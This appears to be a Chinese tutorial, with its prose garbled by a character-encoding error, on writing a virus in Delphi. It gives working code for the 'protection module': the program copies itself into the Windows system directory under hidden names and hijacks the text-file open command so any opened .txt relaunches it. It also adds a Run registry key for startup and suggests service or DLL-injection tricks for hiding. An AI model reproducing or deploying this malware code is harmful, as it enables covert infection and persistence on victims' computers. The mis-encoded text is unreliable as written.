¿ÉÄÜ´ó¼ÒÏëµ½²¡¶¾
£¬µÚÒ»·´Ó¦¾ÍÊÇ¿ÉÄÜÊÇÓÃasmÀ´±àд
£¬»òÕßÊÇvbsript£¬¶ø¸ß¼¶ÓïÑÔÈçdelphi¾ÍºÃÏó²»ÄܱàдһÑù£¬ÆäʵÊÂʵ²¢²»ÊÇÕâ¸öÑù×ӵģ¬Ö»ÒªÎÒÃÇ»¨Ò»Ð©Ê±¼ä£¬ÕÕÑù¿ÉÒÔд³ö¼ò¶Ì¶ø¸ßЧµÄ²¡¶¾³ÌÐòÀ´£¬Ò»µãÒ²²»ÊäÄÇЩÓûã±àд³öÀ´µÄ³ÌÐòŶ
¡£
Ò»¸ö²¡¶¾³ÌÐòÊ×ÏÈÒª¶ÌÐ
¡£¬ÎÒÃǵÄÄ¿±êÊǾ¹ýѹËõºó¿ØÖÆÔÚ30kÒÔÏ¡£ÓùýdelphiµÄÅóÓѶ¼ÖªµÀ£¬Èç¹ûÔÚusesÀïÃæ¼ÓÈëforms,classes.....µÈ¾Í»áʹĿ±êÎļþ·Ç³£µÄ´ó£¬ËùÒÔ£¬ÔÚÎÒÃǵijÌÐòÀÎÒÃÇÒª¾¡¿ÉÄܵIJ»ÓÃÕâЩ¿â¡£ÎÒÃÇÖ»ÓÃwindows,winsock,shellapi,sysutils(Õâ¸öÀïÃæ°üº¬ÁËһЩ³£Óõĺ¯Êý£¬±ÈÈç¶ÔÎļþµÄ²Ù×÷£¬¶Ô×Ö·û´®µÄ²Ù×÷£¬Èç¹ûÓÃ×Ô¼ºµÄ³ÌÐòÀ´´úÌ棬Ŀ±êÎļþ»á¸ü¼ÓµÄС)
Ê×ÏÈ£¬ÎÒÃÇÖªµÀ£¬Ò»¸ö²¡¶¾³ÌÐòÒ»°ã¶¼·ÖÏÂÃæÈý¸öÄ£¿é£º
¢Ù±£»¤Ä£¿é£»
¢Ú¸ÐȾģ¿é£»
¢Û·¢×÷Ä£¿é¡£
ÏÂÃæÎÒÃǾʹÓÕâÈý¸öÄ£¿é¿ªÊ¼£¬·Ö±ðʵÏÖËûÃǵĴúÂë¡£
Ò»)±£»¤Ä£¿é¡£
Ò»°ã£¬ÎÒÃǶ¼ÊÇ°Ñ×ÔÉí¿½±´µ½ÏµÍ³µÄһЩĿ¼À±ÈÈç%systemroot%
ÄÇô£¬ÎÒÃÇÊ×ÏÈҪȡµÃÕâЩÌض¨µÄĿ¼µÄ·¾¶
sdkÀïÃæ¸øÎÒÃÇÌṩÁËÒ»¸öÕâÑùµÄº¯ÊýGetSystemDirectory
UINT GetSystemDirectory(
LPTSTR lpBuffer, // ´æ·Å·µ»ØµÄ×Ö·û´®µÄ»º³åÇø
UINT uSize // ÉÏÃæµÄ»º³åÈ¥µÄ³¤¶È
);
Ïà¹ØµÄº¯Êý»¹ÓÐGetWindowsDirectory¿ÉÒԵõ½%windows%µÄ·¾¶
µÃµ½ÁËϵͳµÄĿ¼ºó£¬µÚ¶þ²½¾ÍÊÇ¿½±´ÎļþÁË¡£sdkΪÎÒÃÇÌṩÁËÒ»¸öº¯Êýcopyfile
BOOL CopyFile(
LPCTSTR lpExistingFileName, // Ô´ÎļþµÄ·¾¶
LPCTSTR lpNewFileName, // Ä¿±êÎļþµÄ·¾¶
BOOL bFailIfExists // ÕâÊÇÒ»¸ö±êÖ¾£¬Èç¹ûÄ¿±êÎļþÒѾ´æÔÚ£¬ÊÇ·ñÇ¿ÖƸ²¸Ç
);
¿½±´ÎļþÍê±Ïºó,ÎÒÃÇÀ´°ÑÕâ¸öÎļþÉèÖÃΪϵͳºÍÒþ²Ø£¬ÄÇôһ°ãÇé¿öÊÇ¿´²»¼û¸ÃÎļþµÄ£¬
³ý·ÇÑ¡È¡²é¿´ËùÓÐÎļþ£¬ÒÔ¼°ÏÔʾÊܱ£»¤Îļþ¡£
ͬÑù£¬½éÉÜÒ»¸öº¯ÊýSetFileAttributes
BOOL SetFileAttributes(
LPCTSTR lpFileName, // ÐèÒªÉèÖõÄÎļþµÄÎļþÃû
DWORD dwFileAttributes // ÉèÖõÄÖµ¡£
);
ÎÒÃÇÕâÀïÒªÉèÖÃΪÒþ²ØºÍϵͳ£¬ÄÇô¾ÍΪµÚ¶þ¸ö²ÎÊý´«µÝFILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
ÏÂÃæ¾ÍÊÇ×îÖØÒªµÄ£¬ÈøÃÎļþ¿ª»ú×Ô¶¯ÔËÐУ¬ÎÒÃÇÒ»°ã¶¼ÊÇдע²á±í£¬
Ê×ÏÈÓÃRegOpenKeyº¯ÊýÀ´´ò¿ªÒ»¸ö¼ü£¬
LONG RegOpenKey(
HKEY hKey, // Ö÷¼ü£¬±ÈÈçHKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // ¸úËæµÄsubkey
PHKEY phkResult // ´æ·Åº¯Êý·µ»ØÕâ¸ö´ò¿ªµÄ¼üµÄ¾ä±ú
);
µÃµ½ÁËHKEYºó£¬¾Í¿ÉÒÔÓÃregsetvalueexÀ´Ïò¸Ã¼üд¾ßÌåµÄÖµÁË¡£
LONG RegSetValueEx(
HKEY hKey, // Õâ¸ö¾ÍÊǸղÅÎÒÃǵõ½µÄ¾ä±ú
LPCTSTR lpValueName, // ¼üÃûµÄµØÖ·
DWORD Reserved, // Ò»°ãÉèÖÃΪ0
DWORD dwType, // ÎÒÃÇдµÄ¼üµÄÀàÐÍ£¬×Ö·û´®ÎªREG_SZ
CONST BYTE *lpData, // ¼üÖµµÄµØÖ·
DWORD cbData // дÈëµÄ¼üÖµµÄ³¤¶È
);
ÏÂÃ棬ÎÒ×ÛºÏÉÏÃæµÄ˵Ã÷À´¸ø³öÒ»¸ö¼ò¶ÌµÄÀý×Ó£º
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//È¡µÃϵͳµÄ·¾¶
s:=strpas(Path);
//ת»»³É×Ö·û´®
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
//°Ñ×ÔÉí¿½±´µ½ÏµÍ³Ä¿Â¼ÏÂΪruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//ÉèÖøղŵÄÁ½¸öÎļþΪϵͳºÍÒþ²Ø
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
//°Ñvirus_ruin.exeºÍÎı¾Îļþ¹ØÁª
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
//ÉèÖÿª»ú×Ô¶¯ÔËÐÐruin.exe
end;
ÎÒÃÇ¿´ÉÏÃæµÄÕâ¸ö³ÌÐò£¬¾ÍÍê³ÉÁË×ÔÎÒ¸´ÖÆ£¬ºÍ¿ª»ú×Ô¶¯ÔËÐУ¬
²¢ÇÒ¹ØÁªÁËÎı¾Îļþ£¬ÕâÑù£¬Èç¹ûrunϵļü±»É¾³ý£¬ÄÇôËû´ò¿ªÎı¾Îļþ£¬Èä³æÎļþÓÖ±»¼¤»î¡£
²»¹ýÕâ¸öÑù×Ó£¬Äã¾ÍÐèÒªÔÚÄãµÄÖ÷³ÌÐòÀïÃæ½øÐÐÅжϣ¬Èç¹û´«µÝµÄ²ÎÊýµÈÓÚ1 £¬Ôò´ò¿ª¸ÃÎı¾£¬
²¢ÇÒ½øÐÐ×ÔÎÒ±£»¤¡£
È磺
begin
if paramcount=1 then
shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);
//ÆäËûµÄ´úÂë
ÕâÀÎÒÖ»ÊǸø³öÒ»¸ö¼òµ¥µÄÀý×ÓÀ´ÃèÊö³öÒ»¸ö´ó¸ÅµÄ˼·£¬
ºÜ¶àµØ·½»¹²»ÍêÉÆ£¬±ÈÈç½ø³ÌµÄÒþ²Ø£¬
Äã¿ÉÒÔ½øÐÐÅжϣ¬
Èç¹ûÊÇ98Äã¿ÉÒÔregisterserverapplicationÈç¹ûÄãÊÇÓõÄ2000£¬Äã¿ÉÒÔ×öΪ·þÎñÆô¶¯£¬
»òÕßÊDzåÈëdll£¬»òÕßÊÇÓÃÇóÖ°Ðŵķ½·¨£¬¿ª»ú¼ÓÔØÒ»¸ödll,»òÕßÊÇwin.ini